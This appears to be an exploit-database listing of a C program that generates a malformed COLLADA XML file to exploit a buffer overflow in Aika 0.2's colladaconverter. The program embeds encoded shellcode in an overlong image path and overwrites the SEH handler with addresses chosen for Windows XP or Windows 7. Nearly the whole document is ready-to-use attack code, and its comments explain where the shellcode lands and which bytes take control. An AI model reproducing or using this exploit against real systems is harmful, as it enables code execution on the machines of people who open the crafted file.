[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Aika 0.2 colladaconverter Xml Parsing Buffer Overflow
# Published : 2011-09-12
# Author :
# Previous Title : DVD X Player 5.5 Professional (.plf) Universal Buffer Overflow
# Next Title : Norman Security Suite 8 (nprosec.sys) Local Privilege Escalation 0day
/*
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
# Exploit Title: Aika colladaconverter buffer overflow exploit
# Date: 09/11/2011
# Author: isciurus
# Software Link: http://aika.googlecode.com/files/aika-v02.zip
# Version: 0.2
# Tested on: Windows 7 x64
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/gpl-3.0.html>.
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include "string.h"
char printableASCIIShellcode[] = // encoded 499 bytes
"WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path ---------
"OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" // |
"GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" // |
"RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" // |
"UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" // |
"EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" // |
"JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" // |
"HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY"; // |
// |
char xml[] = // |
"<?xml version="1.0" encoding="utf8"?>" // |
"<COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1">" // |
"<asset>" // |
" <contributor>" // |
" <author>isciurus</author>" // |
" <comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>" // |
" </contributor>" // |
" <created>2011-09-04T22:29:59Z</created>" // |
" <modified>2011-09-04T22:29:59Z</modified>" // |
" <unit meter="0.01" name="centimeter"/>" // |
" <up_axis>Y_UP</up_axis>" // |
"</asset>" // |
"<library_cameras>" // |
" <camera id="cameraShape1" name="cameraShape1">" // |
" <optics>" // |
" <technique_common>" // |
" <perspective>" // |
" <yfov>37.8492</yfov>" // |
" <aspect_ratio>1.5</aspect_ratio>" // |
" <znear>1</znear>" // |
" <zfar>10000</zfar>" // |
" </perspective>" // |
" </technique_common>" // |
" </optics>" // |
" </camera>" // |
"</library_cameras>" // |
"<library_lights></library_lights>" // |
"<library_images>" // |
" <image id="file2" name="file2" depth="1">" // |
" <init_from>E:\aika\" // <---------------------------
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
// ^
// |
// ------------------------------------------------- the shellcode will be copied at this address
"AAAAA"
" </init_from>"
" </image>"
" <image id="file3" name="file3" depth="1">"
" <init_from>E:\aika\"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
// ^
// |
// -------------------------------------------------------- these bytes will overwrite SEH handler
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // this part forces the application to write outside
"AAAAAAAAAAAAAAAAAAAA" // the stack and triggers AV exception
" </init_from>"
" </image>"
"</library_images>"
"<library_materials>"
" <material id="blinn3" name="blinn3">"
" <instance_effect url="#blinn3-fx"/>"
" </material>"
"</library_materials>"
"<library_geometries>"
" <geometry id="LOD3spShape-lib" name="LOD3spShape">"
" <mesh>"
" <source id="LOD3spShape-lib-positions" name="position">"
" <technique_common>"
" <accessor count="2108" offset="0" source="#LOD3spShape-lib-positions-array" stride="3">"
" <param name="X" type="float"/>"
" <param name="Y" type="float"/>"
" <param name="Z" type="float"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <source id="LOD3spShape-lib-normals" name="normal">"
" <technique_common>"
" <accessor count="2290" offset="0" source="#LOD3spShape-lib-normals-array" stride="3">"
" <param name="X" type="float"/>"
" <param name="Y" type="float"/>"
" <param name="Z" type="float"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <source id="LOD3spShape-lib-map1" name="map1">"
" <technique_common>"
" <accessor count="2277" offset="0" source="#LOD3spShape-lib-map1-array" stride="2">"
" <param name="S" type="float"/>"
" <param name="T" type="float"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <vertices id="LOD3spShape-lib-vertices">"
" <input semantic="POSITION" source="#LOD3spShape-lib-positions"/>"
" </vertices>"
" <triangles count="4212" material="blinn3SG">"
" <input offset="0" semantic="VERTEX" source="#LOD3spShape-lib-vertices"/>"
" <input offset="1" semantic="NORMAL" source="#LOD3spShape-lib-normals"/>"
" <input offset="2" semantic="TEXCOORD" source="#LOD3spShape-lib-map1" set="0"/>"
" <p>375</p>"
" </triangles>"
" </mesh>"
" </geometry>"
"</library_geometries>"
"<scene>"
" <instance_visual_scene url="#VisualSceneNode"/>"
"</scene>"
"</COLLADA>";
int main(int argc, char **argv)
{
FILE *xml_file;
char win7;
char *offset;
char *ll;
if(argc < 2)
{
printf("nUsage: aika_bof <malformed_collada_xml_path>");
return 0;
}
if(sizeof(printableASCIIShellcode) > 644)
{
printf("nSorry, the shellcode is too long, 644 chars is maximum");
return 0;
}
while(1)
{
char os;
printf("nChoose OS version ([X] for Windows XP, [7] for Windows 7):");
os = tolower(getchar());
if(os == 'x')
{
win7 = 0;
break;
}
else if(os == '7')
{
win7 = 1;
break;
}
else
{
printf("nUnknown OS version");
}
}
printf("n[*] Injecting the shellcode into the xml...");
offset = strstr(xml, "SSSSSSSSSSSSSSSSSSSSSSSSSSSS");
strncpy(offset, printableASCIIShellcode, sizeof(printableASCIIShellcode) - 1);
if(win7 == 1)
{
offset = strstr(xml, "ADDR_1");
strncpy(offset, "%40%02", sizeof("%40%02") -1);
offset = strstr(xml, "ADDR_2");
strncpy(offset, "%40%02", sizeof("%40%02") -1);
}
else
{
offset = strstr(xml, "ADDR_1");
strncpy(offset, "%40%01", sizeof("%40%01") -1);
offset = strstr(xml, "ADDR_2");
strncpy(offset, "%40%01", sizeof("%40%01") -1);
}
printf("done");
printf("n[*] Writing %d bytes to %s...", sizeof(xml), argv[1]);
xml_file = fopen(argv[1], "wb");
if(xml_file == NULL)
{
printf("nerror while opening %s", argv[1]);
return 0;
}
if(fwrite(xml, 1, sizeof(xml) - 1, xml_file) != sizeof(xml) - 1)
{
printf("nerror while writing into %s", argv[1]);
return 0;
}
printf("done");
}